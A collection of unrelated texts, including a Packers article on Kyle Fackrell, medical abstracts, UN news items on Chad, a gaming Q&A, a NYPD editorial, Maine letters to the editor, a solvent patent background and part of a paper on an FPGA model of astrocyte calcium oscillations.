“I have found myself being a little more interested, just as far as like the draft and all that kind of stuff,” Fackrell told PackersNews.com. “I’m definitely hoping Nick (Perry) and Clay (Matthews) come back. I enjoy those guys being on the team. They’re obviously really talented. I’m hoping that those guys are able to come back as well and we’ll see what happens with the draft. I definitely find myself looking at that stuff a little bit more. But that stuff is out of my control and I’m just going to continue to work.”
It’s a unique time for Fackrell, who will turn 28 this November.
After being selected in the third round of the 2016 NFL draft in 2016 by former general manager Ted Thompson, he finally had his breakout campaign in his third season. He finished with 10.5 sacks, by far the team leader as well as tied for 17th in the league — but eighth by a linebacker. He also had 42 tackles and 12 quarterback hits.
In his first two seasons (29 games), Fackrell recorded five total sacks, 10 quarterback hits and 33 total tackles.
“I don’t know if it’s that unusual,” Pettine said of Fackrell’s third-year jump. “It’s probably more of the exception than the norm, though. Usually, if a guy has it, that production shows early. But this is a case that a guy, he’s a — guys just take time to get used to the speed of the game and how to approach it, and how he took care of himself in the offseason, I thought he came into training camp in great shape and all the things I’ve talked about. It’s just taken time for all that to click in. Obviously, you’re seeing the results.”
The emergence in 2018 was good timing, too — he is entering the final year of his rookie deal.
But this offseason, Brian Gutekunst is into his second offseason as general manager with 10 draft picks and an estimated $35 million in cap room. It’s a talent-laden draft on the defensive side of the ball, and there are questions as to whether the team will cut Perry or re-sign Matthews. Other teams have franchise-tag decisions to make on pass rushers. Perhaps a trade market develops for a player.
RELATED: What to expect from the Packers at the combine
SILVERSTEIN: Who should stay, who should go on Packers' roster
DOUGHERTY: Outside zone run could reignite Packers' offense
And though Fackrell thrived in his first year under Pettine, who knows how this new coaching staff views him.
“I haven’t spoken with anyone,” he said. “You’re not allowed to talk to anybody, at least as far as football stuff is concerned. It’s a little bit weird that way, but it’s also kind of nice.”
So, he’s in familiar territory for most players. He can only control what he can control. But he’s human. He’s clearly aware of the market. He has a wife and small children. He knows the team could make moves that directly impact his future. He would like to have a discussion with the Packers about a contract extension (none have happened yet) but he also knows factors other than his play go into that.
“That’s obviously the goal, is to get to that second contract,” he said. “So yeah, I think you just have to be patient and I want to do that.
“I definitely think that that’s on my mind going into the offseason training, but again to some degree whether that happens or not is out of my control. And again, I know for one thing it’s not going to happen if I don’t produce or perform poorly. That’s really my main focus.”
So, for now, with voluntary workouts beginning around the corner April 1 under LaFleur, Fackrell is controlling what he can. He’s working out with David Stroshine at STROformance in Pleasant Grove, Utah to add some muscle to his upper body and overall strength. He played the most snaps of his career last season and is expecting to contribute just as heavily, if not more in 2019.
“I just want to take the things I needed to improve on or even the things I did well and just make sure that those are some of the focuses of this offseason and really again, a lot of those things can’t be worked on until we get back to Green Bay and we can start getting on the field and start really getting good work and good looks against the o-line,” Fackrell said. “I definitely had a sense for what I wanted to improve upon coming out of the season and that’s really what has been the focus.”
The calendar also flips quickly regarding his breakout campaign.
There is some prestige with reaching double-digit sacks at his position. It was a goal attained. But now comes the pressure to do it again and more consistently in a wholly new environment — one with new coaches, potentially new teammates and more importantly, perhaps more attention from opponents.
“Yeah, I think you always feel that pressure in anything if you were to have success,” he said. “It’s about that consistency and continuing to have that success once you’ve had it. I think it just goes back to the process that you create for yourself and continuing to work. Really, it’s all about improving. And so if you’re improving every day, that’s really what you have to focus on. I can’t really look at the next season and be like oh, I hope I get 10 sacks again. I don’t think that that’s healthy, I don’t think that’s the best way to look at it. I think just taking it one day at a time and trying to improve is really the only way that you can approach it.” |
Mapping brain maturation and cognitive development during adolescence.
Non-invasive mapping of brain structure and function with magnetic resonance imaging (MRI) has opened up unprecedented opportunities for studying the neural substrates underlying cognitive development. There is an emerging consensus of a continuous increase throughout adolescence in the volume of white matter, both global and local. There is less agreement on the meaning of asynchronous age-related decreases in the volume of grey matter in different cortical regions; these might equally represent loss ("pruning") or gain (intra-cortical myelination) of tissue. Functional MRI studies have so far focused mostly on executive functions, such as working memory and behavioural inhibition, with very few addressing questions regarding the maturation of social cognition. Future directions for research in this area are discussed in the context of processing biological motion and matching perceptions and actions. |
#include <vbl/io/vbl_io_array_3d.hxx>
VBL_IO_ARRAY_3D_INSTANTIATE(float);
|
Effects of lunch on children's short-term cognitive functioning: a randomized crossover study.
Considering the large number of children worldwide attending all-day schools, information on the effects of lunch on short-term cognitive performance is of public health relevance. However, only adult studies investigated this issue yet. Therefore, this study examined the impact of skipping lunch vs having lunch on children's cognitive functioning in the early afternoon. Participants in this randomized crossover study with two groups were healthy 6th grade students of an all-day school in Gelsenkirchen, Germany. Group 1 skipped lunch on study day 1 and received an ad libitum lunch 1 week later on study day 2. The order for group 2 was vice versa. In the afternoon tonic alertness, visuospatial memory and selective attention were determined using a computerized test battery of the Vienna Test System. For continuous and discrete interval-scaled variables, treatment effect was estimated using the two sample t-test or the Wilcoxon rank-sum test, for discrete ordinal-scaled variables using generalized linear models. Data on 105 children (48% male; 12.6 ± 0.6 years) were analyzed. Except for tonic alertness there were no significant differences in cognitive functioning between the skipping lunch day and the having lunch day. The higher number of omission errors on the skipping lunch day lost significance when adjusting for multiple testing. In the first study on this topic lunch did not have relevant effects on children's cognitive functioning in the early afternoon. Future research needs to be done to figure out potential methodical and physiological explanations. |
Chad reports 5 cases while insecurity in South Sudan limits full access to endemic areas
19 August 2016¦ Geneva
The World Health Organization (WHO) has received reports of 5 confirmed human cases of dracunculiasis (guinea-worm disease) from Chad – the highest number reported so far this year by a single country endemic for the disease.
Washington, D.C., 10 May 2016 -- In response to an invitation by the United Sates Senate Committee on Foreign Relations, the Director of the United Nations Development Programme’s Regional Bureau for Africa Abdoulaye Mar Dieye took part today in a briefing event on Instability in Africa in Washington D.C.
The two-part panel focused on ongoing threats in Africa’s so-called “Arc of Instability”, a region which encompasses the Sahel, the Lake Chad Region and the Horn of Africa.
LONDON, United Kingdom, January 24 (UNHCR) – The UN refugee agency on Friday welcomed a US$3 million donation from the LEGO Foundation that will help improve access to quality primary school education for more than 200,000 refugee children under the Educate a Child initiative.
JOHANNESBURG, 21 November 2012 (IRIN) - Refugee crises appear to come and go. In 2011, all eyes were on the Dadaab refugee complex in northern Kenya as it received hundreds of thousands of Somalis fleeing famine and conflict. This year, attention has shifted to the refugee exodus from Syria, even though the majority of Somalis who arrived at Dadaab last year are still there.
Mao and N´Djamena, Chad, 27 August 2012 - Silver medalist at the 2012 Summer Olympics, two-time (United States) National Basketball Association champion and UNICEF Spain Ambassador Pau Gasol is in Chad to visit with children and families affected by the food and nutrition crisis in the Sahel.
In Chad, more than 127,000 children are at serious risk of severe malnutrition. They fight to survive in the midst of a crisis caused by prolonged drought and rising food prices.
9 December 2011 – Three more countries in the so-called “meningitis belt” stretching across Africa will this month introduce a new vaccine designed to eliminate a particular strain of the often deadly disease, the United Nations World Health Organization (WHO) reported today.
Nigeria, Cameroon and Chad will vaccinate millions of their citizens with MenAfriVac, which was created to target Group A meningitis, responsible for millions of cases in sub-Saharan Africa over the past century.
Unaccompanied minors and child migrants separated from their parents are at risk of abuse, exploitation and violence as they seek safety in the camps for the displaced on the Tunisian-Libyan border.
UNICEF, with the support of IOM staff at the border, say that more than 150 children have been identified since the early days of the crisis in Libya when large numbers of migrants fled to neighbouring countries. |
Q:
How do you choose which game you want to play in Crash Bandicoot N Sane Trilogy?
How is it possible to select which game out of the 3 available you want to play in N Sane Trilogy? Does each game first need to be completed separately, at which point the next game in the series is unlocked for play?
A:
After you start the game, you land on screen where you can choose freely any game of trilogy.
I barely started first one but it let me to play second or third game. Tested on Steam version but I expect all versions to be similar.
|
New Yorkers just got a major wake-up call: videos that document a shocking disrespect for city cops — and cops’ equally alarming failure to respond.
If the trend continues, it’s hard to see how the NYPD can remain effective. And Mayor Bill de Blasio’s mealy-mouthed declaration that such behavior is “unacceptable” is no way to turn things around.
In each of the films, young men challenge police, taunting them and testing how much abuse they’ll take. One shows officers doused with buckets of water as bystanders laugh. The cops completely ignore their abusers.
In another, officers are splashed while in the middle of making an arrest. One is even beaned on the head with a bucket. Yet the cops don’t even turn to face their attackers.
In a third, a woman talking to cops gets repeatedly soaked, with nary a peep from the police. It doesn’t exactly inspire confidence in public safety.
A clip posted Tuesday shows a provocateur taunting two officers on the subway, repeatedly yelling in their faces: “Freedom of speech: S - - k my d - - k.”
The miscreants clearly believe abusing cops will bring no consequences. The lack of response only reinforces that notion.
The police aren’t totally at fault: They’ve been trained and retrained not to “overreact.” And the idea that cops are the bad guys and it’s open season on them has been building for years — fueled by, among others, de Blasio himself.
He first ran for mayor vowing to rein in NYPD “racism” and has presided over a steady increase in the toleration of public disorder, from street homelessness to public toking and peeing.
After the assassination of two police officers in late 2014, he dropped his open talk of the dangers cops pose to young black men — but he’s recently revived it as part of his presidential run.
Meanwhile, police fear video of them taking necessary action will be taken out of context in disciplinary proceedings.
The good news: No one was seriously hurt in the attacks. And NYPD Chief of Department Terence Monahan vows that “arrests will be made” based on the videos.
But restoring a proper respect for the men and women in blue will take a lot more. Police and the public need to know that de Blasio and other leaders stand with the police, not against them.
The alternative is law-and-order disaster. |
Next story:
LETTERS
Tuesday, June 21, 2011: Guns, voting rights and fairness
In an article on the safety efforts that failed to save the Lake family in Dexter, BDN reporter Christopher Cousins wrote, “Amy Lake did everything she could …”
I beg to differ. There has been no indication that Amy obtained a gun and learned to use it. If she had, she and her family might be alive today.
Several years ago a man came to my house and yelled that he was going to kill me. He started beating on me, and since he was nearly twice my size, he might have succeeded. Fortunately a friend distracted him long enough for me to get a gun. I didn’t even have to point it at him; as soon as he saw it in my hand he decided he had better things to do elsewhere.
The Dexter situation demonstrates once more that despite their best intentions and efforts, the courts and police can’t protect everyone from a determined killer. Personal safety finally comes down to what you can do for yourself. Guns were called “equalizers” in the Old West, and they still can be, when all else fails.
Lawrence E. Merrill
Bangor
Better way than fighting
In the beginning, God decided the serpent’s brain needed an amygdala (a mass of nuclei in the temporal lobe of the brain) that would warn him of danger from other critters. Then, seeing what the serpent did to Adam, he installed one in Adam’s head to warn him of troublemakers.
Since then, the human race has used its amygdala whenever it thinks it sees troublemakers. It is the flight or fight response.
Flight or fight was pretty handy back in saber-toothed tiger days. But we still use our amygdalas. What are we afraid of now? The short answer is each other. Especially in politics, we see troublemakers to fight.
To keep from fighting each other over the things that make democracies run, we came up with the vote. In Maine, we have universal voting rights to encourage people to vote, and for the last 38 years we have had the right to walk in on Election Day, tell the clerk who we are and vote.
Republicans want to change these rights. Are they scared somebody may cheat?
There have been only a couple of incidents in those 38 years (of maybe 15 million votes cast).
Why do the Republicans want to change the rules? It is going to make it much harder for young folks, wage earners, the poor and elderly and anybody who needs help to get to the voting booth twice instead of once.
A democracy is only as good as the people who vote for it. Abraham Lincoln said something like that.
Jim Loomis
Cambridge
Family not property
I feel sympathy for a man who has lost his child and grandchildren, as George Lake did earlier this week. No one should have to suffer such a horrible loss. But as a community, we need to recognize that the act of Steven Lake was not that of a good and caring father. Good and caring fathers do not murder their children and their children’s mother nor subject them to the torture that they must have endured in the hours before their deaths and that we know they endured the last time he held them hostage and threatened to kill them.
Steven Lake could not accept the fact that his wife and children were not his property; that’s why he killed them. This is a common threat of abusers to their victims; “If I can’t have
you, no one will.” I feel sad for Steven Lake’s father and sadder still for the three people whose lives were cut short out of one man’s sense of entitlement and vengeance.
Rebecca Hobbs
Winterport
Lake chose violence
In the wake of last week’s shooting in Dexter, my heart goes out to the victims, their families and the entire community. In reading the BDN, however, I have been appalled to see the number of excuses being made in Steven Lake’s defense.
Referencing the couple’s “marital troubles” minimizes and distorts reality; a well-documented history of domestic violence does not equal “marital troubles,” and no matter how tough the divorce was or how much he missed his children, it does not excuse or mitigate his choice to repeatedly use violence.
This wasn’t a “bad relationship;” it was an abusive relationship, in which Steven abused his wife and children. Some — including the BDN — have stated that not being allowed to attend his son’s graduation led to the shooting, but not being allowed to go somewhere does not cause a triple homicide.
Steven is not a person with a bruised psyche who got pushed over the edge—he chose to use violence against his family more than once, and tragically this time he chose to kill them.
In all our discussions of this tragedy — in the news, at work, around the dinner table — we must use language that holds the abuser accountable and the victims blameless. We must not be confused into thinking Steven is a victim in this situation. His choices caused these deaths — not his wife, not the divorce and certainly not how much he missed his kids.
Regina Rooney
Old Town
Fair to whom?
The Legislature has approved a budget it considers fair. I would like to know for whom it is fair.
Is it fair to me that the state is willfully reneging on the retirement package that I was hired under? Is it fair to me, a retired teacher with 37 years faithful service, that I can’t get a cost of living increase for five years?
I defy anyone to show how the cost of living hasn’t risen over the past three years, for which I haven’t received a cost of living increase in my retirement, and apparently won’t over the next two years either. Or is the legislature now saying I won’t get a COLA for another five years (which would be seven years of no increases).
Is it fair that retired teachers cannot collect the Social Security they worked summers for in order to support their families when teacher salaries were insufficient for a comfortable living? If you say that reducing taxes for the richest citizens in the state at the same time you are freezing my benefits is fair, perhaps you had better go back to school to relearn the concept of “fair.”
Fair doesn’t mean failure to follow up on promises that were made and fair isn’t a willful decision to unilaterally abandon contractual obligations that were freely made and agreed to. |
Organic ester compounds are good solvent widely used in synthetic resin industry, such as for paints, inks, adhesives and detergents. At present, ether compounds are mainly divided into two categories, i.e. E series and P series. The E series of ether compounds are obtained from the synthesis of alcohols and ethylene oxide while P series of ether compounds are obtained from the synthesis of alcohols and propylene oxide. The related ester compounds thereof are primarily acetate esters, whereas no propionate ester products have been developed so far. In recent years, it has been found that the E series of ethers or acetate ester compounds thereof when inhaled into human body are likely decomposed into alkoxy acetic acid ether and in turn induce the erythrocyte becoming abnormal and thus toxic to the genital organ. On the other hand, P series would not cause these damages. At present, propylene glycol monomethyl ether acetate of P series is inferior to the solubility against unsaturated polyesters or polyurethane resins as well as the drying capability of the coating thereof. Therefore, it is urgently demanded to develop a kind of solvent having not only excellent solubility and drying capability but also low toxicity.
Directing to this requirement, the inventors of the present application endeavored in positive research and development, and eventually produced successfully propylene glycol monoethyl ether propionate with best result. |
Introduction {#s1}
============
Intracellular calcium (Ca^2+^) is a key second messenger in the living cells which controls various physiological processes by encoding information about external stimuli in amplitude or frequency of its oscillation (Woods et al., [@B45]; Kummer et al., [@B22]; Aguilera et al., [@B1]). Although many studies investigated the key role of intracellular Ca^2+^ oscillations, there are still many blind points. Indeed, the role of calcium oscillations in neural information encoding is still under investigation. The experimental observations support the fundamental role of astrocytes in forming Ca^2+^ oscillations. Researchers have shown that in response to a stimulation, astrocytes are able to release transmitters (called *gliotransmitters*) in a Ca^2+^-dependent manner and propagate intercellular Ca^2+^ waves over long distances. The discovery that calcium oscillations occur in astrocytes along with their ability to release gliotransmitters confirms that astrocytes actively participate in information processing in the brain (Rose and Karus, [@B38]; Oschmann et al., [@B30]). Given that astrocytes are not capable of creating action potentials, they respond to neuronal activity by increasing the cytosolic calcium level. Indeed, when an astrocyte is activated by its agonist (such as glutamate), a series of reactions is triggered, which leads to the production of IP~3~ (inositol 1, 4, 5-trisphosphate). Indeed, IP~3~ will trigger the calcium pathways through the IP~3~ receptor (IP~3~R), which releases calcium from the calcium store within the astrocytes. This calcium store is called the endoplasmic reticulum (ER). Consequently, astrocytes sense the neural transmission and respond by releasing different gliotransmitters, such as glutamate, Adenosine Triphosphate (ATP), and other neuroactive materials (Fields and Stevens-Graham, [@B9]; Min et al., [@B27]). In this way, astrocytes are active processing partners of neurons. Several experimental and theoretical studies are in progress to examine the computational power of neural-glial networks (Wade et al., [@B43]; Schafer et al., [@B40]; Liu et al., [@B25]). Additionally, there is also some evidence which suggests astrocytes participate in higher cognitive functions (Linne and Jalonen, [@B24]). Astrocytes may encode neural activity in different types of calcium responses (De Pittà et al., [@B5]; Dvorzhak et al., [@B7]). Various encoding patterns may explain how astrocytes can integrate synaptic transmissions and may represent different signaling mechanisms. It is also shown that different compartments of astrocytes (e.g., somata and endfeet) demonstrate specific types of calcium responses (Parpura, [@B31]; De Pittà et al., [@B6]).
In recent years, the function of neural mechanisms using digital and analog electronic systems are modeled (Indiveri et al., [@B16]; Frenkel et al., [@B10]; Yang et al., [@B46]). Many recent neuromorphic circuits have focused on single neuron (Wijekoon and Dudek, [@B44]), astrocyte (Ranjbar and Amiri, [@B37]), and neuron-astrocyte interactions (Soleimani et al., [@B41]; Karimi et al., [@B21]). Furthermore, other researchers have proposed a digital platform using a neural network and neuron-astrocyte interaction to investigate the self-repairing characteristics in FPGA (Liu et al., [@B25]; Karim et al., [@B20]). Johnson et al. used homeostasis in a spiking neural network to develop a fault-resilient robotic controller (Johnson et al., [@B18]). Recently they proposed a scalable FPGA-based hardware utilizing time multiplexing to design a self-repairing spiking astrocyte-neural network chip (Johnson et al., [@B19]).
However, a small number of the implemented circuits have been dealing with astrocytic Ca^2+^ signaling (Soleimani et al., [@B41]; Liu et al., [@B25]; Karimi et al., [@B21]), and none of them have proposed an analog or digital realization for information encoding based on astrocytic calcium oscillations. This in fact can be considered as a step forward in involvement of astrocytes in neuronal information processing from a hardware point of view. The recent introduced circuits (Soleimani et al., [@B41]; Ranjbar and Amiri, [@B37]; Karimi et al., [@B21]) have used the Postnov astrocyte model (Postnov et al., [@B36]), or its modified versions, which is a simplified, and non-dimensional model for the tripartite synapse. Nevertheless, this model and consequently its digital implementation do not consider the complex pathways of astrocyte calcium signaling, which should be taken into account for developing the next level of neuromorphic circuits. The Li and Rinzel ([@B23]) or the Höfer et al. ([@B15]) models are the main building blocks of the Ca^2+^-based excitability model of astrocytes (Manninen et al., [@B26]). De Pittà et al. ([@B5]) extended the Li-Rinzel model to consider more intricate signaling. Specifically, they included calcium regulation by the IP~3~-dependent CICR (calcium-induced calcium-released) mechanism as well as IP~3~ dynamics resulting from PLC-mediated (phospholipase C) synthesis and degradation by IP~3~ 3-kinase and inositol polyphosphate 5-phosphatase. They showed that long-distance propagation of regenerative waves is closely related to the intracellular encoding of calcium responses. Frequency modulation encoding of calcium oscillations with pulsating dynamics induces regenerative waves that travel a long distance through gap junctions, while amplitude modulation encoding produces calcium waves that are constrained within a specific domain.
The main contribution of the current research is to design a neuromorphic circuit to encode information about external stimuli using different encoding approaches. This new digital circuit has the ability to switch among amplitude modulation (AM) of Ca^2+^ oscillations, frequency modulation (FM) of Ca^2+^ signaling, or combined AM and FM (AFM), which to the best of our knowledge have not been demonstrated in previous circuit realization. The proposed circuit can be used in the information processing section of the astrocyte-neuron network. Indeed, proposing low-cost and low-power hardware with the ability to code neuronal information has interesting applications in the self-repairing neural network, learning system and in linking biological neural networks with artificial neural systems. To this end, first, the nonlinear differential equations of the Ca^2+^ oscillations are simplified by a piecewise-linear approximation (PWL) method. Then, the obtained linear model is simulated in MATLAB and the results are compared with the original biophysical model. Next, a digital circuit is designed for the linear model and is then simulated in a Xilinx ISE (Integrated Synthesis Environment) simulation environment. Performing several experiments in different situations, it is shown that the new digital circuit follows the dynamical characteristics of the biophysical De Pittà model. Finally, the proposed digital astrocyte is run on the ZedBoard (Zynq Evaluation and Development kit) to get the real responses on the oscilloscope and validate the digital design. Changing the parameters of the digital circuit can switch the calcium oscillations among AM, FM, or AFM. All of these encoding approaches were successfully done in the real execution of the proposed circuit on the FPGA.
The rest of the paper is ordered as follows: in section Dynamic Models of Neuron and Astrocyte, the dynamic model of neuron-astrocyte crosstalk is explained. The proposed digital circuit is described in section Hardware Implementation. In section Results of simulations and hardware operation, the simulation and execution results are discussed. Finally, section conclusion describes the future directions and concludes the article.
Dynamic Models of Neuron and Astrocyte {#s2}
======================================
In this section, first, the Integrate & Fire (IF) neuron model is presented and then the biophysical model of astrocyte is explained.
Neuron Mathematical Model
-------------------------
The IF model is one of the most common neuron models used in computational neuroscience, whose equation is as follows (Gerstner and Kistler, [@B11]):
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*R*~*m*~ is the membrane resistance, τ~*m*~ is the time constant, V is the membrane voltage and *I*~*syn*~ is the input current (from synapse). As the potential of the neuron membrane (V) reaches a threshold value (*V*~*th*~), V reset to 0. The IF neuron model parameters are shown in [Table 1](#T1){ref-type="table"}.
######
Parameter values of the IF neuron model.
**Parameter** **Value** **Parameter** **Value**
--------------- ----------- --------------- -----------
*I*~*syn*~ 2 τ~*m*~ 0.1
*R*~*m*~ 2.5 *V*~*th*~ 1
Biophysical Model of Ca^2+^ Oscillations in Astrocyte
-----------------------------------------------------
Astrocytes cannot produce action potentials; nevertheless, through bidirectional communication with neurons, they play a significant role in information processing (Haydon, [@B13]). It is currently obvious that astrocytes are active units which can regulate neuronal dynamics at the same or adjacent synapses. As a neuron fires, glutamate is released from the pre-synaptic neuron into the synaptic cleft, and it partially binds to the metabotropic receptors (mGluR) of the astrocytes (Porter and McCarthy, [@B35]). In fact, stimulation of astrocytes causes intracellular Ca^2+^ levels to increase due to the release of Ca^2+^ from Endoplasmic Reticulum (ER), mediated by IP~3~. IP~3~ is a glycoprotein that spontaneously induces calcium responses in astrocytes through IP~3~ receptors (IP~3~R) on the ER membrane. This leads to the release of calcium from the endoplasmic reticulum. Due to the presence of gap junction between astrocytes and thus forming astrocytic network, calcium waves can travel within the interconnected astrocyte network and allow the movement of IP~3~ into neighboring cells.
In this paper, we use the De Pittà model of astrocyte in the presence of indirect 2-AG (2-arachidonyl glycerol, a type of retrograde messengers) signaling. [Figure 1](#F1){ref-type="fig"} shows a neuron-astrocyte interaction with 2-AG signaling. We assume that when the IF neuron fires, 2-AG diffuses into the synaptic cleft. The quantity of propagated 2-AG is obtained from (2).
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AG is the quantity of 2-AG, τ~*AG*~ is the decay rate of 2-AG, *r*~*AG*~ is the 2-AG generation rate and *t*~*sp*~ is the firing time of the IF neuron.
{#F1}
The IP~3~ is produced based on the gatekeeper model, when 2-AG binds to cannabinoid receptor 1 (CB1R) on the presynaptic terminal (Volman et al., [@B42]). The production of IP~3~ is influenced by the amount of propagated 2-AG. The production of IP~3~ within the astrocyte is modeled as:
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*r*~*ip*3~ is the IP~3~ production rate, $IP_{3}^{*}$ is the baseline of IP~3~ (when the cell receives no input and it is in a steady state), τ~*ip*3~ is the IP~3~ decay rate.
The cytosolic calcium *Ca*^2+^ concentration is a function of the *Ca*^2+^ flux from the ER through the IP~3~ channels to the intracellular space (*J*~channel~), the leakage flux from the ER into the cytosol (*J*~Leak~), and pump-flux from the cytosol into the ER (*J*~Pump~). In the De Pittà model (De Pittà et al., [@B6]), the *Ca*^2+^ concentration in the intracellular space is explained by:
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Where *h* is the fraction of activated IP~3~. The expressions for the fluxes are given by:
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*r*~*C*~ denotes the maximal CICR rate, the total free *Ca*^2+^ cytosolic concentration is denoted by *c*~0~, *c*~1~ indicates the ER/cytoplasm volume ratio, the IP~3~ Induced Calcium Release (IICR), and CICR channels are represented by *m*~∞~ and *n*~∞~, respectively. *v*~*ER*~ is the maximum uptake rate for SERCA (Sarco-Endoplasmic-Reticulum *Ca*^2+^-ATPase) pump, *r*~*L*~ is the leakage rate of calcium and *k*~*ER*~ is the activation constant of the SERCA pump. The parameter values of models are given in [Table 2](#T2){ref-type="table"} and taken from Gerstner and Naud, ([@B12]).
######
Parameter values of the De Pittà astrocyte model (Wade et al., [@B43]).
**Parameter values of astrocyte** **Parameter values of astrocyte**
----------------------------------- ----------------------------------- ------------- -------------
τ~*AG*~ 10 s *AG* 0
*r*~*AG*~ 0.018 μM s^−1^ *IP*~3~ 0.16 μM
$IP_{3}^{*}$ 0.16 μM *Ca*^2+^ 0.071006 μM
τ~*IP*3~ 7 s *h* 0.7791
*r*~*IP*3~ 0.5 μM s^−1^ *m*~∞~ 0
*a*~2~ 0.2 μM *n*~∞~ 0
*d*~1~ 0.13 μM *J*~*chan*~ 0
*d*~2~ 1.049 μM *J*~*leak*~ 0
*d*~3~ 0.9434 μM *J*~*pump*~ 0
*d*~5~ 0.108 μM
*c*~0~ 2 μM
*c*~1~ 0.185 μM
*r*~*L*~ 0.11 s^−1^
*v*~*ER*~ 0.8 μM s^−1^
*k*~*ER*~ 0.1 μM
The physiological role of astrocytic calcium oscillations in the encoding of synaptic information is still under investigation (De Pittà et al., [@B5]). Experimental observations suggest that the FM encoding is one of the main methods. In this way, synaptic activities are encoded in the frequency of astrocytic calcium oscillations (Parpura, [@B31]).
On the other hand, the possibility of AM encoding of synaptic transmission or AFM encoding has also been considered in recent theoretical and experimental works. Depending on the neuronal stimulation intensity, the amplitude of calcium oscillations in response to the external stimuli varies (De Pittà et al., [@B5]). Neurophysiological evidence suggests that astrocytes regulate synaptic information processing through calcium signaling. That is, the calcium oscillations characteristics such as amplitude and frequency are modulated by intrinsic properties of both neuronal inputs and the astrocyte\'s state. The De Pittà model for intracellular calcium signaling considers the diversity of the observed calcium dynamics when the biophysical parameters are varied. Recently it was shown that this model is able to illustrate encoding information about external stimuli by hiring different encoding modes. In this model, changes of biophysical parameters of the astrocyte may switch calcium signaling among AM, FM, or AFM (De Pittà et al., [@B5]).
Hardware Implementation {#s3}
=======================
Considering the main criteria from the hardware viewpoint, such as scaling up the designed circuit, reducing the implementation cost and keeping low power operation while obtaining results similar to the De Pittà model, we employ the piecewise-linear model to design efficient architecture to be run on the FPGA. Details of the hardware implementation are described in Appendix ([Supplementary Material](#SM1){ref-type="supplementary-material"}). Choosing the number of bits for individual variables is tied to the desired precision for realization, computational speed and resource utilization. In this research, a 39-bit fixed point (1 bit for sign, 4 bits for integer and 34 bits for fractional part) was used. Fixed-point computational units are typically faster and consume less hardware resources and power than floating-point engines. Bit-width of the parameters and variables are determined based on the two fundamental factors. These factors are the range of parameter variation and the spans of the shift operation. Moreover, considering the maximum shift operation (19 right-shift) and avoiding any overflow due to the shift operation while increasing computational accuracy, all variables and constants are restricted to the registers with 4 bits for the integer part and 34 bits for the fractional part. [Figure 2](#F2){ref-type="fig"} shows the scheduling diagrams for IF-neuron voltage (V\[n\]), and [Figures 3](#F3){ref-type="fig"}--[5](#F5){ref-type="fig"} illustrate the proposed digital circuit for the astrocyte calcium oscillations, having the AM/FM/AFM properties. The neuron-astrocyte digital circuit was simulated and synthesized using VHSIC hardware description language (VHDL) and Xilinx ISE tools and was executed on the ZedBoard development kit. The maximum power dissipation of digital circuits was 78.45 mW. [Tables 3](#T3){ref-type="table"}, [4](#T4){ref-type="table"} show the summary of low and high levels of FPGA resource utilization for the digital circuits of astrocytes and neurons, respectively.
![Scheduling diagram for the IF digital circuit. Action potential (*V*\[*n*\]) is produced.](fnins-13-00998-g0002){#F2}
![Scheduling diagram for **(A)** 2\_*AG*\[*n*\] and **(B)** *IP*~3~\[*n*\] of the astrocyte.](fnins-13-00998-g0003){#F3}
![Scheduling diagram for **(A)** $m_{\infty}^{3}\left\lbrack n \right\rbrack$, **(B)** $n_{\infty}^{3}\left\lbrack n \right\rbrack$, **(C)** *J*~*pump*~\[*n*\], **(D)** *h*^3^\[*n*\], and **(E)** *Q*~2~\[*n*\].](fnins-13-00998-g0004){#F4}
![Scheduling diagram for **(A)** *h*\[*n*\] and **(B)** *Ca*^2+^\[*n*\].](fnins-13-00998-g0005){#F5}
######
Low-level device utilization summary for astrocyte and neuron.
**Astrocyte synthesis report** **Neuron synthesis report**
--------------------------- -------------------------------- ----------------------------- ---- ----- --------- ----
Number of slice LUTs 3,052 53,200 5% 180 53,200 0%
Number of bonded IOBs 3 125 2% 3 125 2%
Number of slice registers 262 106,400 0% 35 106,400 0%
######
High-level device utilization summary for astrocyte and neuron.
**Astrocyte** **Neuron**
--------------------------- --------------- ------------
39-bit Adders/Subtractors 16 4
Comparators 31 1
Multipliers 5 0
Multiplexers 111 1
Results of Simulations and Hardware Operation
---------------------------------------------
In this section, software simulation and hardware execution results are presented. Indeed, we investigate how hardware realization can produce the same results as MATLAB simulations.
Calcium dynamic is in its equilibrium state when the cytoplasmic calcium level is constant, $\frac{\mathbf{\text{d}}{({\mathbf{\text{C}}\mathbf{\text{a}}}^{\mathbf{2} +})}}{\mathbf{\text{d}}\mathbf{\text{t}}} = 0$, and the fraction of inactivated IP~3~R does not change, $\frac{\mathbf{\text{d}}{(h)}}{\mathbf{\text{d}}\mathbf{\text{t}}} = 0$. The stability of the equilibrium point depends on the IP~3~ level. At low IP~3~ values equivalent to basal condition or weak stimulation, the equilibrium point is stable, which in turn leads to the constant calcium. Such stability is then absent for higher values of IP~3~ concentrations, where Ca^2+^ oscillations increase in response to the external stimulus. Eventually, for higher values of IP~3~, the equilibrium becomes stable again. These observations can be summarized by noticing that the system dynamics change as the equilibrium changes from unstable to stable and vice versa (De Pittà et al., [@B5]). In [Figure 6](#F6){ref-type="fig"}, the IP~3~ concentration is shown in the original De Pittà model ([Figure 6A](#F6){ref-type="fig"}), the proposed piecewise-linear model ([Figure 6B](#F6){ref-type="fig"}) and the proposed digital circuit ([Figure 6C](#F6){ref-type="fig"}). In this simulation, we apply an incremental IP~3~ signal with a random level in each time interval of 100 s (the first row). As shown in the second row, when IP~3~ = 0.125 μM, the intracellular calcium level is constant. By increasing the IP~3~ content, the system loses its stability and the calcium amplitude elevates, thus IP~3~ information is encoded in the amplitudes of the intracellular calcium oscillations (AM). When IP~3~ = 1.2 μM or higher content, the calcium oscillations show a damping behavior and are steady in an overexcited calcium concentration. In the third row, for IP~3~ levels higher than 0.4 μM and less than 1.2 μM, the calcium dynamic loses its equilibrium and hence the information of IP~3~ excitation encoded in the frequency of intracellular calcium oscillations (FM).
{#F6}
